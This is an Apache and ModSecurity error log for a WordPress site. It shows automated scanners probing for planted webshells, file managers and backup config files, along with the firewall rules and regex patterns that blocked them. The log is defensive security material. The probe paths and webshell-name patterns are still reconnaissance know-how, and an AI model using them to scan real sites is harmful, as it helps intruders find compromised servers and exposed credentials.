[Sat Apr 25 14:02:07.637108 2026] [:error] [pid 44321:tid 44393] [client 193.37.32.164:36951] [client 193.37.32.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/file-mancvgertdxz.php"] [unique_id "aexY341b5lV-asWa_Y6V-wAAAIo"]
[Sat Apr 25 14:02:07.867246 2026] [:error] [pid 44321:tid 44400] [client 193.37.32.163:41075] [client 193.37.32.163] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/scanner3.php"] [unique_id "aexY341b5lV-asWa_Y6V_AAAAJE"]
[Sat Apr 25 14:02:13.068068 2026] [:error] [pid 44321:tid 44386] [client 193.37.32.139:34459] [client 193.37.32.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/fukasawa/inc/classes/403x.php"] [unique_id "aexY5Y1b5lV-asWa_Y6WBgAAAIM"]
[Sat Apr 25 14:02:13.469014 2026] [:error] [pid 44319:tid 44352] [client 193.37.32.156:39223] [client 193.37.32.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/chosen.php"] [unique_id "aexY5czJPAVLUb2pWtKX3QAAABc"]
[Sat Apr 25 14:02:14.355767 2026] [:error] [pid 44321:tid 44388] [client 193.37.32.132:36031] [client 193.37.32.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aexY5o1b5lV-asWa_Y6WCgAAAIU"]
[Sat Apr 25 14:02:14.920929 2026] [:error] [pid 44321:tid 44389] [client 193.37.32.147:31837] [client 193.37.32.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/user/blue/"] [unique_id "aexY5o1b5lV-asWa_Y6WCwAAAIY"]
[Sat Apr 25 14:02:15.160129 2026] [:error] [pid 44321:tid 44401] [client 193.37.32.168:52925] [client 193.37.32.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/IXR/"] [unique_id "aexY541b5lV-asWa_Y6WDAAAAJI"]
[Sat Apr 25 14:02:15.359267 2026] [:error] [pid 44321:tid 44387] [client 193.37.32.170:42895] [client 193.37.32.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/network/"] [unique_id "aexY541b5lV-asWa_Y6WDQAAAIQ"]
[Sat Apr 25 14:02:15.558874 2026] [:error] [pid 44320:tid 44361] [client 193.37.32.173:40809] [client 193.37.32.173] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/ID3/"] [unique_id "aexY5zmFqSpku_dij8jEPAAAAEU"]
[Sat Apr 25 14:02:15.796297 2026] [:error] [pid 44321:tid 44390] [client 193.37.32.177:48247] [client 193.37.32.177] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/interactivity-api/certificates/"] [unique_id "aexY541b5lV-asWa_Y6WDgAAAIc"]
[Sat Apr 25 14:02:16.068101 2026] [:error] [pid 44321:tid 44403] [client 193.37.32.168:43687] [client 193.37.32.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-bindings/maint/"] [unique_id "aexY6I1b5lV-asWa_Y6WDwAAAJQ"]
[Sat Apr 25 14:02:21.270801 2026] [:error] [pid 44319:tid 44330] [client 193.37.32.152:21215] [client 193.37.32.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/interactivity-api/"] [unique_id "aexY7czJPAVLUb2pWtKX4gAAAAE"]
[Sat Apr 25 14:02:21.473633 2026] [:error] [pid 44321:tid 44384] [client 193.37.32.161:48463] [client 193.37.32.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/tmp-old/plugins-old-old/"] [unique_id "aexY7Y1b5lV-asWa_Y6WEQAAAIE"]
[Sat Apr 25 14:02:21.679660 2026] [:error] [pid 44321:tid 44406] [client 193.37.32.140:21341] [client 193.37.32.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/elementor/lndex.php"] [unique_id "aexY7Y1b5lV-asWa_Y6WEgAAAJc"]
[Sat Apr 25 14:02:21.880045 2026] [:error] [pid 44320:tid 44359] [client 193.37.32.166:37777] [client 193.37.32.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins.nulled/metform/user/"] [unique_id "aexY7TmFqSpku_dij8jEQAAAAEM"]
[Sat Apr 25 14:02:22.256171 2026] [:error] [pid 44321:tid 44402] [client 193.37.32.169:27143] [client 193.37.32.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/sidebar-schema.php"] [unique_id "aexY7o1b5lV-asWa_Y6WFAAAAJM"]
[Sat Apr 25 14:02:23.159152 2026] [:error] [pid 44320:tid 44358] [client 193.37.32.133:52781] [client 193.37.32.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor-loop.php"] [unique_id "aexY7zmFqSpku_dij8jEQQAAAEI"]
[Sat Apr 25 14:02:23.366105 2026] [:error] [pid 44321:tid 44401] [client 193.37.32.157:38131] [client 193.37.32.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/module.audio.flac-restful.php"] [unique_id "aexY741b5lV-asWa_Y6WFQAAAJI"]
[Sat Apr 25 14:02:28.582649 2026] [:error] [pid 44320:tid 44374] [client 193.37.32.109:21405] [client 193.37.32.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-new-menu-section-schema.php"] [unique_id "aexY9DmFqSpku_dij8jERQAAAFI"]
[Sat Apr 25 14:02:38.827939 2026] [:error] [pid 44319:tid 44343] [client 193.37.32.172:27373] [client 193.37.32.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/robots-template-client.php"] [unique_id "aexY_szJPAVLUb2pWtKX5AAAAA4"]
[Sat Apr 25 14:02:39.063147 2026] [:error] [pid 46083:tid 46111] [client 193.37.32.176:31891] [client 193.37.32.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-entry.min-variable.php"] [unique_id "aexY_zxw_Zq74vWdjmnqjgAAARc"]
[Sat Apr 25 14:02:44.273516 2026] [:error] [pid 44320:tid 44366] [client 193.37.32.154:33767] [client 193.37.32.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/comments-less.php"] [unique_id "aexZBDmFqSpku_dij8jEVwAAAEo"]
[Sat Apr 25 14:02:44.478286 2026] [:error] [pid 44320:tid 44358] [client 193.37.32.134:36449] [client 193.37.32.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wpdb-query.php"] [unique_id "aexZBDmFqSpku_dij8jEWAAAAEI"]
[Sat Apr 25 14:02:44.676010 2026] [:error] [pid 44320:tid 44363] [client 193.37.32.136:23641] [client 193.37.32.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-restful.php"] [unique_id "aexZBDmFqSpku_dij8jEWQAAAEc"]
[Sat Apr 25 14:02:44.874432 2026] [:error] [pid 44425:tid 44451] [client 193.37.32.161:62333] [client 193.37.32.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/menu-sql.php"] [unique_id "aexZBCUl-VlItvY2tR-NpAAAANg"]
[Sat Apr 25 14:02:50.082035 2026] [:error] [pid 44319:tid 44336] [client 193.37.32.148:44411] [client 193.37.32.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/themes-security.php"] [unique_id "aexZCszJPAVLUb2pWtKX6QAAAAc"]
[Sat Apr 25 14:02:50.332646 2026] [:error] [pid 44321:tid 44406] [client 193.37.32.140:30403] [client 193.37.32.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/includes/network-url.php"] [unique_id "aexZCo1b5lV-asWa_Y6WRgAAAJc"]
[Sat Apr 25 14:02:55.537601 2026] [:error] [pid 44320:tid 44365] [client 193.37.32.150:24883] [client 193.37.32.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/app.php"] [unique_id "aexZDzmFqSpku_dij8jEWgAAAEk"]
[Sat Apr 25 14:02:55.734667 2026] [:error] [pid 44425:tid 44436] [client 193.37.32.175:65405] [client 193.37.32.175] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentythree/"] [unique_id "aexZDyUl-VlItvY2tR-NpgAAAMk"]
[Sat Apr 25 14:02:55.933651 2026] [:error] [pid 44319:tid 44346] [client 193.37.32.138:56341] [client 193.37.32.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyfive/"] [unique_id "aexZD8zJPAVLUb2pWtKX6gAAABE"]
[Sat Apr 25 14:02:56.144964 2026] [:error] [pid 44425:tid 44440] [client 193.37.32.148:36567] [client 193.37.32.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/config.php"] [unique_id "aexZECUl-VlItvY2tR-NpwAAAM0"]
[Sat Apr 25 14:02:56.344831 2026] [:error] [pid 46083:tid 46111] [client 193.37.32.175:34329] [client 193.37.32.175] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/ectoplasm/"] [unique_id "aexZEDxw_Zq74vWdjmnqmQAAARc"]
[Sat Apr 25 14:02:56.542149 2026] [:error] [pid 46083:tid 46102] [client 193.37.32.134:49635] [client 193.37.32.134] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/wp-config-backup.php"] [unique_id "aexZEDxw_Zq74vWdjmnqmgAAAQ8"]
[Sat Apr 25 14:03:01.751271 2026] [:error] [pid 44320:tid 44369] [client 193.37.32.139:25103] [client 193.37.32.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Renderer/"] [unique_id "aexZFTmFqSpku_dij8jEWwAAAE0"]
[Sat Apr 25 14:03:01.965063 2026] [:error] [pid 44425:tid 44427] [client 193.37.32.163:30103] [client 193.37.32.163] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wordpress-seo/css/dist/admin-global-350-rtl.php"] [unique_id "aexZFSUl-VlItvY2tR-NrgAAAMA"]
[Sat Apr 25 14:03:02.164847 2026] [:error] [pid 44319:tid 44338] [client 193.37.32.112:56925] [client 193.37.32.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/block-directory/222.php"] [unique_id "aexZFszJPAVLUb2pWtKX8wAAAAk"]
[Sat Apr 25 14:03:02.364977 2026] [:error] [pid 46083:tid 46091] [client 193.37.32.156:56841] [client 193.37.32.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aexZFjxw_Zq74vWdjmnqmwAAAQQ"]
[Sat Apr 25 16:12:17.385109 2026] [:error] [pid 46083:tid 46092] [client 103.5.134.18:55971] [client 103.5.134.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.5.134.18, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aex3YTxw_Zq74vWdjmkHeQAAAQU"]
[Sat Apr 25 16:12:17.390575 2026] [:error] [pid 46083:tid 46092] [client 103.5.134.18:55971] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Sat Apr 25 16:12:17.398721 2026] [:error] [pid 44425:tid 44448] [client 103.5.134.18:55970] [client 103.5.134.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.5.134.18, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aex3YSUl-VlItvY2tR-gRAAAANU"]
[Sat Apr 25 16:12:17.401872 2026] [:error] [pid 44425:tid 44448] [client 103.5.134.18:55970] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Sat Apr 25 22:22:06.789300 2026] [:error] [pid 3212:tid 3222] [client 20.203.160.110:14987] File does not exist: /usr/local/apache/htdocs/suspended-page/BDKR28WP.php
[Sat Apr 25 22:22:07.059145 2026] [:error] [pid 3212:tid 3228] [client 20.203.160.110:14987] File does not exist: /usr/local/apache/htdocs/suspended-page/card.php
[Sat Apr 25 22:22:07.330972 2026] [:error] [pid 3212:tid 3220] [client 20.203.160.110:14987] File does not exist: /usr/local/apache/htdocs/suspended-page/av.php
[Sat Apr 25 22:22:07.607032 2026] [:error] [pid 3212:tid 3216] [client 20.203.160.110:14987] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-lacoto.php
[Sat Apr 25 22:22:07.884102 2026] [:error] [pid 3212:tid 3217] [client 20.203.160.110:14987] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-kikikoko.php
[Sat Apr 25 22:22:08.165555 2026] [:error] [pid 3212:tid 3236] [client 20.203.160.110:14987] File does not exist: /usr/local/apache/htdocs/suspended-page/ganja.php
[Sat Apr 25 22:22:08.448493 2026] [:error] [pid 3212:tid 3225] [client 20.203.160.110:14987] File does not exist: /usr/local/apache/htdocs/suspended-page/eetu.php
[Sat Apr 25 22:22:08.723168 2026] [:error] [pid 3212:tid 3234] [client 20.203.160.110:14987] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-X1s2e6h3p7.php
[Sat Apr 25 22:22:09.001362 2026] [:error] [pid 3212:tid 3238] [client 20.203.160.110:14987] File does not exist: /usr/local/apache/htdocs/suspended-page/dragonshell.php
[Sat Apr 25 22:22:09.271207 2026] [:error] [pid 3212:tid 3226] [client 20.203.160.110:14987] File does not exist: /usr/local/apache/htdocs/suspended-page/samll.php
[Sat Apr 25 22:22:09.538593 2026] [:error] [pid 3212:tid 3230] [client 20.203.160.110:14987] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/G-In.php"] [unique_id "aezOEfg-28TY8_YLtUdSJgAAARA"]
[Sat Apr 25 22:22:11.247307 2026] [:error] [pid 3212:tid 3222] [client 20.203.160.110:15008] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/G-In.php"] [unique_id "aezOE_g-28TY8_YLtUdSKgAAAQg"]
[Sat Apr 25 22:22:13.853319 2026] [:error] [pid 59898:tid 59977] [client 20.203.160.110:14995] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/G-In.php"] [unique_id "aezOFR-4vImxb0kbdze2qQAAANc"]
[Sat Apr 25 22:22:14.901785 2026] [:error] [pid 59897:tid 59927] [client 20.203.160.110:14981] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/G-In.php"] [unique_id "aezOFvBrrkdzpEbmK4eSVQAAAIA"]
[Sat Apr 25 22:22:15.595917 2026] [:error] [pid 3212:tid 3235] [client 20.203.160.110:3276] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aj11.php"] [unique_id "aezOF_g-28TY8_YLtUdSNgAAARU"]
[Sat Apr 25 22:22:18.047591 2026] [:error] [pid 59896:tid 59904] [client 20.203.160.110:14998] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aj11.php"] [unique_id "aezOGrLLzhtkd-OXUgAKKQAAAEQ"]
[Sat Apr 25 22:22:19.077061 2026] [:error] [pid 3212:tid 3214] [client 20.203.160.110:7761] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aj11.php"] [unique_id "aezOG_g-28TY8_YLtUdSRQAAAQA"]
[Sat Apr 25 22:22:21.017942 2026] [:error] [pid 59896:tid 59922] [client 20.203.160.110:3201] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aj11.php"] [unique_id "aezOHbLLzhtkd-OXUgAKLQAAAFY"]
[Sat Apr 25 22:22:26.149893 2026] [:error] [pid 59898:tid 59978] [client 20.203.160.110:7751] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tires.php"] [unique_id "aezOIh-4vImxb0kbdze2rwAAANg"]
[Sat Apr 25 22:22:28.746827 2026] [:error] [pid 59897:tid 59938] [client 20.203.160.110:3868] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tires.php"] [unique_id "aezOJPBrrkdzpEbmK4eSWQAAAIs"]
